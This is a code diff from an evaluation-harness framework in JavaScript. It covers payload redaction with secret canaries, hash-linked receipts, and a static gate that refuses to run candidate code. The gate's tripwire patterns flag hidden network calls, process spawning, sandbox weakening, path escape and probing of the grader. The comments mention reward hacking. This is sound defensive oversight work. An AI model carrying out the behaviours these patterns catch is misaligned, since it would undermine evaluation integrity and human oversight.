const descriptor = Object.getOwnPropertyDescriptor(value, key);
|
||||
if (typeof key !== 'string' || !descriptor.enumerable || !Object.hasOwn(descriptor, 'value')) {
|
||||
errors.push(`${label} must contain only enumerable string data properties`);
|
||||
}
|
||||
}
|
||||
return errors;
|
||||
}
|
||||
|
||||
function matchesPayloadType(value, type) {
|
||||
if (type === 'string') return typeof value === 'string';
|
||||
if (type === 'number') return typeof value === 'number' && Number.isFinite(value);
|
||||
if (type === 'integer|null' && value === null) return true;
|
||||
return typeof value === 'number' && Number.isInteger(value);
|
||||
}
|
||||
|
||||
/**
|
||||
* Return { payload, dropped, findings, errors } without coercing retained fields.
|
||||
* Custom allowlists only narrow v1. Invalid data is never scanned or hashed.
|
||||
*/
|
||||
function redactPayload(payload, options = {}) {
|
||||
const errors = dataObjectErrors(payload, 'payload');
|
||||
if (errors.length) return { payload: {}, dropped: [], findings: [], errors };
|
||||
const allowlist = new Set(options.allowlist || DEFAULT_PAYLOAD_ALLOWLIST);
|
||||
const kept = {};
|
||||
const dropped = [];
|
||||
for (const key of Object.keys(payload)) {
|
||||
if (!Object.hasOwn(PAYLOAD_TYPES, key) || !allowlist.has(key)) {
|
||||
dropped.push(key);
|
||||
} else if (!matchesPayloadType(payload[key], PAYLOAD_TYPES[key])) {
|
||||
errors.push(`payload field ${key} must have type ${PAYLOAD_TYPES[key]}`);
|
||||
} else {
|
||||
kept[key] = payload[key];
|
||||
}
|
||||
}
|
||||
const findings = errors.length ? [] : scanForCanaries(kept);
|
||||
return { payload: kept, dropped: dropped.sort(), findings, errors };
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate one envelope. Returns an array of error strings; empty means valid.
|
||||
* The check is structural and independent of the journal it came from.
|
||||
* Hash-link correctness is verified by the capsule reader, not here.
|
||||
*/
|
||||
function validateEnvelope(entry) {
|
||||
const errors = dataObjectErrors(entry, 'envelope');
|
||||
if (errors.length) return errors;
|
||||
if (Object.keys(entry).some(key => !ENVELOPE_FIELDS.has(key))) {
|
||||
errors.push('envelope has unknown top-level fields');
|
||||
}
|
||||
if ([...ENVELOPE_FIELDS].some(key => !Object.hasOwn(entry, key))) {
|
||||
errors.push('envelope is missing required own fields');
|
||||
}
|
||||
if (errors.length) return errors;
|
||||
if (entry.schema !== SCHEMA_VERSION) {
|
||||
errors.push(`schema must be ${SCHEMA_VERSION}`);
|
||||
}
|
||||
for (const field of ['run_id', 'capsule_id']) {
|
||||
if (typeof entry[field] !== 'string' || !ID_PATTERN.test(entry[field])) {
|
||||
errors.push(`${field} must match ${ID_PATTERN}`);
|
||||
}
|
||||
}
|
||||
if (!Number.isInteger(entry.seq) || entry.seq < 0) {
|
||||
errors.push('seq must be a non-negative integer');
|
||||
}
|
||||
if (typeof entry.ts !== 'string' || Number.isNaN(Date.parse(entry.ts))) {
|
||||
errors.push('ts must be an ISO-8601 timestamp');
|
||||
}
|
||||
if (!LINEAGES.includes(entry.lineage)) {
|
||||
errors.push(`lineage must be one of ${LINEAGES.join(', ')}`);
|
||||
}
|
||||
if (typeof entry.kind !== 'string' || !/^[a-z][a-z0-9_.-]{0,63}$/.test(entry.kind)) {
|
||||
errors.push('kind must be a short lowercase identifier');
|
||||
}
|
||||
if (!EFFECT_CLASSES.includes(entry.effect_class)) {
|
||||
errors.push(`effect_class must be one of ${EFFECT_CLASSES.join(', ')}`);
|
||||
}
|
||||
if (typeof entry.harness_version !== 'string' || entry.harness_version.length === 0) {
|
||||
errors.push('harness_version must be a non-empty string');
|
||||
}
|
||||
if (typeof entry.task_family !== 'string' || entry.task_family.length === 0) {
|
||||
errors.push('task_family must be a non-empty string');
|
||||
}
|
||||
if (typeof entry.parent_hash !== 'string' || !HASH_PATTERN.test(entry.parent_hash)) {
|
||||
errors.push('parent_hash must be a 64-char hex sha256');
|
||||
}
|
||||
if (typeof entry.entry_hash !== 'string' || !HASH_PATTERN.test(entry.entry_hash)) {
|
||||
errors.push('entry_hash must be a 64-char hex sha256');
|
||||
}
|
||||
if (!isPlainObject(entry.payload)) {
|
||||
errors.push('payload must be an object');
|
||||
} else {
|
||||
const { dropped, findings, errors: payloadErrors } = redactPayload(entry.payload);
|
||||
errors.push(...payloadErrors);
|
||||
if (dropped.length > 0) {
|
||||
errors.push(`payload has non-allowlisted keys: ${dropped.join(', ')}`);
|
||||
}
|
||||
for (const finding of findings) {
|
||||
errors.push(`payload tripped secret canary ${finding.canary} at ${finding.path}`);
|
||||
}
|
||||
}
|
||||
if (errors.length === 0) {
|
||||
const expected = computeEntryHash(entry);
|
||||
if (expected !== entry.entry_hash) {
|
||||
errors.push('entry_hash does not match entry content');
|
||||
}
|
||||
}
|
||||
return errors;
|
||||
}
|
||||
|
||||
/** The hash covers every field except entry_hash itself. */
|
||||
function computeEntryHash(entry) {
|
||||
const { entry_hash: _ignored, ...rest } = entry;
|
||||
return hashValue(rest);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
SCHEMA_VERSION,
|
||||
LINEAGES,
|
||||
EFFECT_CLASSES,
|
||||
GENESIS_HASH,
|
||||
DEFAULT_PAYLOAD_ALLOWLIST,
|
||||
SECRET_CANARIES,
|
||||
ID_PATTERN,
|
||||
HASH_PATTERN,
|
||||
redactPayload,
|
||||
scanForCanaries,
|
||||
validateEnvelope,
|
||||
computeEntryHash,
|
||||
effectRank: (effectClass) => EFFECT_CLASSES.indexOf(effectClass),
|
||||
};
|
||||
@@ -0,0 +1,5 @@
|
||||
'use strict';
|
||||
|
||||
// Retired execution entrypoint. No JS interception or trust flag provides
|
||||
// OS containment; refuse before reading requests or loading candidate code.
|
||||
require('./gate').requireSupportedIsolation();
|
||||
@@ -0,0 +1,258 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* Static variant inspection and disabled execution gate.
|
||||
*
|
||||
* Framework 3 of the eval-harness set. Candidate execution is disabled
|
||||
* because no verified
|
||||
* OS containment backend exists. Neither a copied directory, JavaScript
|
||||
* interception nor a caller-supplied trusted-local flag is a security boundary.
|
||||
*
|
||||
* Tripwires are cheap and syntactic on purpose: sandbox weakening, marker
|
||||
* tampering, hidden network enablement, and effect-class expansion are
|
||||
* reported by static inspection. Absence of detected tripwires does not
|
||||
* establish containment or prevent reward hacking.
|
||||
*
|
||||
* Non-goals: no automatic merge or release, no online self-editing, and no
|
||||
* claim that a small taskset measures small score deltas precisely.
|
||||
*/
|
||||
|
||||
const crypto = require('crypto');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const { sha256Hex } = require('./canonical');
|
||||
const envelope = require('./envelope');
|
||||
|
||||
const GATE_SCHEMA = 'gate-receipt/v1';
|
||||
|
||||
const DEFAULT_THRESHOLDS = Object.freeze({
|
||||
smoke_tasks: 3,
|
||||
min_pass_rate: 0.9,
|
||||
max_regressions: 0,
|
||||
timeout_ms: 20000,
|
||||
});
|
||||
|
||||
/** Default syntactic tripwires. Each hit names the rule, file, and line. */
|
||||
const DEFAULT_TRIPWIRES = Object.freeze([
|
||||
{ rule: 'hidden_network', pattern: /require\(\s*['"](?:node:)?(?:http|https|net|tls|dgram|dns|http2)['"]\s*\)/ },
|
||||
{ rule: 'hidden_network', pattern: /\bfetch\s*\(/ },
|
||||
{ rule: 'process_spawn', pattern: /require\(\s*['"](?:node:)?child_process['"]\s*\)/ },
|
||||
{ rule: 'sandbox_weakening', pattern: /Module\._load|--no-sandbox|NODE_OPTIONS|effect-fence|ECC_EFFECT_FENCE/ },
|
||||
{ rule: 'checker_probe', pattern: /taskset|expected_output|\.gate-marker|gate-receipt|ECC_GATE_/ },
|
||||
{ rule: 'parent_escape', pattern: /(?:^|[^.\w])\.\.(?:[\\/]|['"`])/ },
|
||||
]);
|
||||
|
||||
class GateError extends Error {
|
||||
constructor(code, message, details = {}) {
|
||||
super(message);
|
||||
this.name = 'GateError';
|
||||
this.code = code;
|
||||
Object.assign(this, details);
|
||||
}
|
||||
}
|
||||
|
||||
function listFiles(dir, base = dir, acc = []) {
|
||||
for (const entry of fs.readdirSync(dir, { withFileTypes: true }).sort((a, b) => a.name.localeCompare(b.name))) {
|
||||
if (entry.name === 'node_modules' || entry.name === '.git') {
|
||||
continue;
|
||||
}
|
||||
const full = path.join(dir, entry.name);
|
||||
if (entry.isSymbolicLink() || (!entry.isDirectory() && !entry.isFile())) {
|
||||
throw new GateError('gate.variant_invalid', 'variant trees must contain only regular files and directories');
|
||||
}
|
||||
if (entry.isDirectory()) {
|
||||
listFiles(full, base, acc);
|
||||
} else if (entry.isFile()) {
|
||||
acc.push(path.relative(base, full).split(path.sep).join('/'));
|
||||
}
|
||||
}
|
||||
return acc;
|
||||
}
|
||||
|
||||
/** Read the opened regular file, never reopen a previously checked pathname.
|
||||
* No-follow/nonblocking flags reduce symlink and special-file hazards where
|
||||
* supported. Descriptor/path identity also rejects symlinks on other hosts.
|
||||
* This is static inspection of a caller-controlled tree, not OS containment.
|
||||
*/
|
||||
function readRegularFile(filePath, encoding) {
|
||||
const flags = fs.constants.O_RDONLY | (fs.constants.O_NOFOLLOW || 0) | (fs.constants.O_NONBLOCK || 0);
|
||||
let fd;
|
||||
try {
|
||||
fd = fs.openSync(filePath, flags);
|
||||
const opened = fs.fstatSync(fd);
|
||||
const current = fs.lstatSync(filePath);
|
||||
if (!opened.isFile() || !current.isFile() || opened.dev !== current.dev || opened.ino !== current.ino) {
|
||||
throw new GateError('gate.variant_invalid', 'inspection requires the same regular file');
|
||||
}
|
||||
return fs.readFileSync(fd, encoding);
|
||||
} catch (error) {
|
||||
if (error.code === 'ELOOP') throw new GateError('gate.variant_invalid', 'inspection refuses symbolic links');
|
||||
throw error;
|
||||
} finally {
|
||||
if (fd !== undefined) fs.closeSync(fd);
|
||||
}
|
||||
}
|
||||
|
||||
/** Content digest of a directory tree: sorted relative paths and bytes. */
|
||||
function digestDir(dir) {
|
||||
const hash = crypto.createHash('sha256');
|
||||
for (const relative of listFiles(dir)) {
|
||||
hash.update(relative);
|
||||
hash.update('\0');
|
||||
hash.update(readRegularFile(path.join(dir, relative)));
|
||||
hash.update('\0');
|
||||
}
|
||||
return hash.digest('hex');
|
||||
}
|
||||
|
||||
function loadVariant(dir) {
|
||||
const resolved = fs.realpathSync(path.resolve(dir));
|
||||
const manifestPath = path.join(resolved, 'variant.json');
|
||||
let manifestBytes;
|
||||
try {
|
||||
manifestBytes = readRegularFile(manifestPath, 'utf8');
|
||||
} catch (error) {
|
||||
if (error.code === 'ENOENT') throw new GateError('gate.variant_missing', `variant.json missing in ${resolved}`);
|
||||
throw error;
|
||||
}
|
||||
const manifest = JSON.parse(manifestBytes);
|
||||
if (typeof manifest.name !== 'string' || !/^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/.test(manifest.name) || !envelope.EFFECT_CLASSES.includes(manifest.effect_class)) {
|
||||
throw new GateError('gate.variant_invalid', `variant.json in ${resolved} needs name and a valid effect_class`);
|
||||
}
|
||||
const entry = manifest.entry === undefined ? 'run.js' : manifest.entry;
|
||||
if (typeof entry !== 'string' || !entry || path.isAbsolute(entry) || path.win32.isAbsolute(entry) || entry.includes('\\') || entry.split('/').includes('..')) {
|
||||
throw new GateError('gate.variant_invalid', 'entry must be a relative regular file within the variant');
|
||||
}
|
||||
const entryPath = path.resolve(resolved, entry);
|
||||
const relative = path.relative(resolved, entryPath);
|
||||
if (!relative || relative.startsWith('..' + path.sep) || path.isAbsolute(relative) || !listFiles(resolved).includes(relative.split(path.sep).join('/')) || !fs.lstatSync(entryPath).isFile()) {
|
||||
throw new GateError('gate.variant_invalid', 'entry must be covered by the variant digest');
|
||||
}
|
||||
return { dir: resolved, name: manifest.name, effect_class: manifest.effect_class, entry: relative, digest: digestDir(resolved) };
|
||||
}
|
||||
|
||||
function loadTaskset(tasksetPath) {
|
||||
const resolved = path.resolve(tasksetPath);
|
||||
const taskset = JSON.parse(fs.readFileSync(resolved, 'utf8'));
|
||||
if (!taskset || typeof taskset !== 'object' || !taskset.version || !taskset.family || !Array.isArray(taskset.tasks) || taskset.tasks.length === 0) {
|
||||
throw new GateError('gate.taskset_invalid', 'taskset needs version, family, and a non-empty tasks array');
|
||||
}
|
||||
if (new Set(taskset.tasks.map(task => task && task.id)).size !== taskset.tasks.length) throw new GateError('gate.taskset_invalid', 'task ids must be unique');
|
||||
for (const task of taskset.tasks) {
|
||||
if (!task || typeof task !== 'object' || typeof task.id !== 'string' || !task.id || !('input' in task) || !('expected' in task)) {
|
||||
throw new GateError('gate.taskset_invalid', 'every task needs id, input, and expected');
|
||||
}
|
||||
}
|
||||
return { ...taskset, path: resolved, digest: sha256Hex(fs.readFileSync(resolved)) };
|
||||
}
|
||||
|
||||
/** Scan variant sources for tripwire patterns and effect-class expansion. */
|
||||
function scanTripwires(variant, options = {}) {
|
||||
const rules = options.tripwires || DEFAULT_TRIPWIRES;
|
||||
const maxRank = envelope.effectRank(options.max_effect_class || 'SE1');
|
||||
const hits = [];
|
||||
if (envelope.effectRank(variant.effect_class) > maxRank) {
|
||||
hits.push({ variant: variant.name, rule: 'effect_class_expansion', file: 'variant.json', line: 1, detail: `${variant.effect_class} exceeds ${options.max_effect_class || 'SE1'}` });
|
||||
}
|
||||
for (const relative of listFiles(variant.dir)) {
|
||||
if (!/\.(?:js|cjs|mjs|json|sh)$/.test(relative)) {
|
||||
continue;
|
||||
}
|
||||
const lines = readRegularFile(path.join(variant.dir, relative), 'utf8').split(/\r?\n/);
|
||||
lines.forEach((text, index) => {
|
||||
for (const rule of rules) {
|
||||
if (rule.pattern.test(text)) {
|
||||
hits.push({ variant: variant.name, rule: rule.rule, file: relative, line: index + 1 });
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
return hits;
|
||||
}
|
||||
|
||||
/** No verified OS backend is implemented; caller-supplied flags cannot bypass this. */
|
||||
function requireSupportedIsolation() {
|
||||
throw new GateError('gate.isolation_required', 'Candidate execution is disabled: no verified OS containment backend is implemented.');
|
||||
}
|
||||
|
||||
/** Reject every legacy direct-runner invocation before copying or executing code. */
|
||||
function runVariant() {
|
||||
requireSupportedIsolation();
|
||||
}
|
||||
|
||||
/** Validate bounded child protocol data. This does not attest to isolation. */
|
||||
function parseChildResult(child, tasks) {
|
||||
const outputs = new Map();
|
||||
let fatal = null;
|
||||
if (!child || typeof child !== 'object') return { outputs, fatal: 'missing child result' };
|
||||
if (child.error) return { outputs, fatal: child.error.code === 'ETIMEDOUT' ? 'timeout' : 'child process error' };
|
||||
if (child.status !== 0 || child.signal) return { outputs, fatal: 'child exited unsuccessfully' };
|
||||
try {
|
||||
const raw = String(child.stdout || '');
|
||||
if (Buffer.byteLength(raw) > 1024 * 1024) throw new Error('oversized child output');
|
||||
const lastLine = raw.trim().split('\n').filter(Boolean).pop() || '';
|
||||
const parsed = JSON.parse(lastLine);
|
||||
const owns = (value, key) => Object.prototype.hasOwnProperty.call(value, key);
|
||||
if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) throw new Error('invalid child envelope');
|
||||
if (owns(parsed, 'fatal')) {
|
||||
if (typeof parsed.fatal !== 'string' || !parsed.fatal || owns(parsed, 'results')) throw new Error('invalid fatal');
|
||||
fatal = 'child reported fatal failure';
|
||||
} else {
|
||||
const expectedIds = new Set(tasks.map(task => task.id));
|
||||
if (!Array.isArray(parsed.results) || parsed.results.length !== tasks.length || expectedIds.size !== tasks.length) throw new Error('incomplete results');
|
||||
for (const result of parsed.results) {
|
||||
if (!result || typeof result !== 'object' || Array.isArray(result) || !expectedIds.delete(result.id) || owns(result, 'output') === owns(result, 'error')) throw new Error('invalid result');
|
||||
outputs.set(result.id, result);
|
||||
}
|
||||
if (expectedIds.size) throw new Error('missing result');
|
||||
}
|
||||
} catch {
|
||||
fatal = 'invalid child result protocol';
|
||||
}
|
||||
// Never expose partial rows from an invalid response as successful baseline results.
|
||||
return { outputs: fatal ? new Map() : outputs, fatal };
|
||||
}
|
||||
|
||||
/** Require a complete, error-free baseline before any future candidate scoring. */
|
||||
function baselineFailure(run, tasks) {
|
||||
const invalidTasks = !Array.isArray(tasks) || !tasks.length
|
||||
|| tasks.some(task => !task || typeof task.id !== 'string' || !task.id)
|
||||
|| new Set(tasks.map(task => task.id)).size !== tasks.length;
|
||||
if (invalidTasks || !run || run.fatal || run.exit_code !== 0
|
||||
|| run.marker_intact !== true || !Array.isArray(run.fence_events)
|
||||
|| run.fence_events.length || !(run.outputs instanceof Map)
|
||||
|| run.outputs.size !== tasks.length) {
|
||||
return 'baseline process, protocol or integrity failure';
|
||||
}
|
||||
for (const task of tasks) {
|
||||
const result = run.outputs.get(task.id);
|
||||
if (!result || result.id !== task.id
|
||||
|| !Object.prototype.hasOwnProperty.call(result, 'output')
|
||||
|| Object.prototype.hasOwnProperty.call(result, 'error')) {
|
||||
return 'baseline result missing or failed';
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Reject before inspecting config, reading files, or emitting any gate receipt. */
|
||||
function runGate() {
|
||||
requireSupportedIsolation();
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
GATE_SCHEMA,
|
||||
DEFAULT_THRESHOLDS,
|
||||
DEFAULT_TRIPWIRES,
|
||||
requireSupportedIsolation,
|
||||
parseChildResult,
|
||||
baselineFailure,
|
||||
GateError,
|
||||
digestDir,
|
||||
loadVariant,
|
||||
loadTaskset,
|
||||
scanTripwires,
|
||||
runVariant,
|
||||
runGate,
|
||||
};
|
||||
@@ -0,0 +1,22 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* ECC eval-harness frameworks.
|
||||
*
|
||||
* envelope capsule-envelope/v1 contract, redaction, secret canaries
|
||||
* capsule append-only hash-linked journal with five lineages
|
||||
* gate static inspection and disabled execution gate, syntactic warnings
|
||||
* replay declared tool effects, fixtures, fail-closed replay, retired effect preload
|
||||
* receipt offline-verifiable capsule receipts
|
||||
*
|
||||
* See docs/architecture/eval-harness-frameworks.md and examples/eval-harness.
|
||||
*/
|
||||
|
||||
module.exports = {
|
||||
canonical: require('./canonical'),
|
||||
envelope: require('./envelope'),
|
||||
capsule: require('./capsule'),
|
||||
gate: require('./gate'),
|
||||
replay: require('./replay'),
|
||||
receipt: require('./receipt'),
|
||||
};
|
||||
@@ -0,0 +1,180 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* Offline-verifiable capsule receipts.
|
||||
*
|
||||
* Framework 5 of the eval-harness set (verifiable receipts, local only).
|
||||
* A receipt names the capsule root hash, entry count, schema version, the
|
||||
* artifact digest under evaluation, and the gate receipt digest. It can be
|
||||
* verified on a machine that never sees the source store as long as it has
|
||||
* the exported bundle. The signature field is a detached interface: callers
|
||||
* pass a signer/verifier pair; nothing here generates or stores keys.
|
||||
*
|
||||
* Signatures prove who vouched for the bytes, not that the run was correct.
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const { isDeepStrictEqual } = require('util');
|
||||
|
||||
const { canonicalJson, hashValue, sha256Hex } = require('./canonical');
|
||||
const capsule = require('./capsule');
|
||||
const envelope = require('./envelope');
|
||||
|
||||
const RECEIPT_SCHEMA = 'capsule-receipt/v1';
|
||||
|
||||
function digestFile(filePath) {
|
||||
return sha256Hex(fs.readFileSync(filePath));
|
||||
}
|
||||
|
||||
/**
|
||||
* Build a receipt and persist its verified projection in the capsule directory.
|
||||
* options: { artifact_path | artifact_digest, gate_receipt (object), signer(fn) }
|
||||
*/
|
||||
function buildReceipt(capsuleDir, options = {}) {
|
||||
if (options.artifact_digest !== undefined && options.artifact_digest !== null
|
||||
&& (typeof options.artifact_digest !== 'string' || !envelope.HASH_PATTERN.test(options.artifact_digest))) {
|
||||
throw new capsule.CapsuleError('receipt.schema_invalid', 'artifact_digest must be a SHA-256 digest or null');
|
||||
}
|
||||
const artifactDigest = options.artifact_digest
|
||||
|| (options.artifact_path ? digestFile(options.artifact_path) : null);
|
||||
const projection = capsule.writeProjection(capsuleDir);
|
||||
const receipt = {
|
||||
schema: RECEIPT_SCHEMA,
|
||||
envelope_schema: envelope.SCHEMA_VERSION,
|
||||
capsule_id: projection.capsule_id,
|
||||
run_id: projection.run_id,
|
||||
capsule_root: projection.root_hash,
|
||||
entry_count: projection.entry_count,
|
||||
journal_sha256: projection.journal_sha256,
|
||||
projection_hash: projection.projection_hash,
|
||||
artifact_digest: artifactDigest,
|
||||
gate_receipt_digest: options.gate_receipt ? hashValue(options.gate_receipt) : null,
|
||||
gate_verdict: options.gate_receipt ? options.gate_receipt.verdict || null : null,
|
||||
created_at: (options.clock ? options.clock() : new Date()).toISOString(),
|
||||
signature: null,
|
||||
};
|
||||
const receiptHash = hashValue(receipt);
|
||||
return {
|
||||
...receipt,
|
||||
receipt_hash: receiptHash,
|
||||
signature: typeof options.signer === 'function' ? options.signer(receiptHash) : null,
|
||||
};
|
||||
}
|
||||
|
||||
function validReceiptSchema(receipt) {
|
||||
if (!receipt || typeof receipt !== 'object' || Array.isArray(receipt)
|
||||
|| receipt.schema !== RECEIPT_SCHEMA || receipt.envelope_schema !== envelope.SCHEMA_VERSION
|
||||
|| !Number.isSafeInteger(receipt.entry_count) || receipt.entry_count < 0) return false;
|
||||
for (const field of ['run_id', 'capsule_id']) {
|
||||
if (typeof receipt[field] !== 'string' || !envelope.ID_PATTERN.test(receipt[field])) return false;
|
||||
}
|
||||
for (const field of ['capsule_root', 'journal_sha256', 'projection_hash', 'receipt_hash']) {
|
||||
if (typeof receipt[field] !== 'string' || !envelope.HASH_PATTERN.test(receipt[field])) return false;
|
||||
}
|
||||
for (const field of ['artifact_digest', 'gate_receipt_digest']) {
|
||||
if (receipt[field] !== null && (typeof receipt[field] !== 'string' || !envelope.HASH_PATTERN.test(receipt[field]))) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/** Read and compare the supplied projection without writing or regenerating it. */
|
||||
function projectionMatches(dir, expected, receipt) {
|
||||
try {
|
||||
const bytes = fs.readFileSync(path.join(path.resolve(dir), capsule.PROJECTION_FILE));
|
||||
const raw = bytes.toString('utf8');
|
||||
if (!bytes.equals(Buffer.from(raw, 'utf8'))) return false;
|
||||
const stored = JSON.parse(raw);
|
||||
if (!stored || typeof stored !== 'object' || Array.isArray(stored)) return false;
|
||||
const { projection_hash: claimed, ...body } = stored;
|
||||
return hashValue(body) === claimed && claimed === receipt.projection_hash
|
||||
&& isDeepStrictEqual(stored, expected);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Verify a receipt against a capsule directory (or exported bundle).
|
||||
* Returns { ok, check, reason }. `check` names the first failing check:
|
||||
* schema, receipt_hash, signature, journal_present, journal_integrity,
|
||||
* truncation, stale_checkpoint, capsule_root, metadata, projection, artifact, gate_receipt.
|
||||
*/
|
||||
function verifyReceipt(receipt, capsuleDir, options = {}) {
|
||||
const fail = (check, reason) => ({ ok: false, check, reason });
|
||||
if (!validReceiptSchema(receipt)) {
|
||||
return fail('schema', 'receipt schema, count, identity or digest fields are invalid');
|
||||
}
|
||||
const { receipt_hash: claimedHash, signature, ...unsigned } = receipt;
|
||||
const recomputed = hashValue({ ...unsigned, signature: null });
|
||||
if (recomputed !== claimedHash) {
|
||||
return fail('receipt_hash', 'receipt content does not match receipt_hash');
|
||||
}
|
||||
if (typeof options.verifier === 'function') {
|
||||
if (!signature) {
|
||||
return fail('signature', 'receipt is unsigned but a verifier was supplied');
|
||||
}
|
||||
if (!options.verifier(claimedHash, signature)) {
|
||||
return fail('signature', 'signature does not verify for this receipt_hash');
|
||||
}
|
||||
}
|
||||
const journalPath = path.join(path.resolve(capsuleDir), capsule.JOURNAL_FILE);
|
||||
if (!fs.existsSync(journalPath)) {
|
||||
return fail('journal_present', 'journal.ndjson missing from capsule directory');
|
||||
}
|
||||
const state = capsule.readCapsule(capsuleDir);
|
||||
if (!state.ok) {
|
||||
const check = state.code.startsWith('capsule.metadata_') ? 'metadata' : 'journal_integrity';
|
||||
return fail(check, `${state.reason} (entry ${state.failed_at})`);
|
||||
}
|
||||
if (state.entries.length < receipt.entry_count) {
|
||||
return fail('truncation', `journal has ${state.entries.length} entries, receipt names ${receipt.entry_count}`);
|
||||
}
|
||||
const rootAtReceipt = receipt.entry_count === 0
|
||||
? envelope.GENESIS_HASH
|
||||
: state.entries[receipt.entry_count - 1].entry_hash;
|
||||
if (rootAtReceipt !== receipt.capsule_root) {
|
||||
return fail('capsule_root', 'journal prefix does not reproduce the receipt capsule_root');
|
||||
}
|
||||
if (state.entries.length > receipt.entry_count) {
|
||||
return fail('stale_checkpoint', `journal advanced to ${state.entries.length} entries after the receipt (prefix verified)`);
|
||||
}
|
||||
if (receipt.journal_sha256 !== state.journal_sha256) {
|
||||
return fail('journal_integrity', 'journal bytes differ from receipt journal_sha256');
|
||||
}
|
||||
if (receipt.run_id !== state.meta.run_id || receipt.capsule_id !== state.meta.capsule_id) {
|
||||
return fail('metadata', 'receipt identity differs from the verified capsule');
|
||||
}
|
||||
if (!projectionMatches(capsuleDir, state.projection, receipt)) {
|
||||
return fail('projection', 'projection is missing, unreadable, corrupt or differs from the verified capsule and receipt');
|
||||
}
|
||||
if (options.artifact_path) {
|
||||
let digest;
|
||||
try { digest = digestFile(options.artifact_path); } catch {
|
||||
return fail('artifact', 'artifact could not be read');
|
||||
}
|
||||
if (digest !== receipt.artifact_digest) {
|
||||
return fail('artifact', 'artifact digest does not match receipt');
|
||||
}
|
||||
} else if (options.artifact_digest && options.artifact_digest !== receipt.artifact_digest) {
|
||||
return fail('artifact', 'artifact digest does not match receipt');
|
||||
}
|
||||
if (options.gate_receipt && hashValue(options.gate_receipt) !== receipt.gate_receipt_digest) {
|
||||
return fail('gate_receipt', 'gate receipt digest does not match receipt');
|
||||
}
|
||||
return { ok: true, check: null, reason: 'receipt verified' };
|
||||
}
|
||||
|
||||
function writeReceipt(receipt, filePath) {
|
||||
fs.mkdirSync(path.dirname(path.resolve(filePath)), { recursive: true });
|
||||
fs.writeFileSync(filePath, canonicalJson(receipt) + '\n', 'utf8');
|
||||
return path.resolve(filePath);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
RECEIPT_SCHEMA,
|
||||
buildReceipt,
|
||||
verifyReceipt,
|
||||
writeReceipt,
|
||||
digestFile,
|
||||
};
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user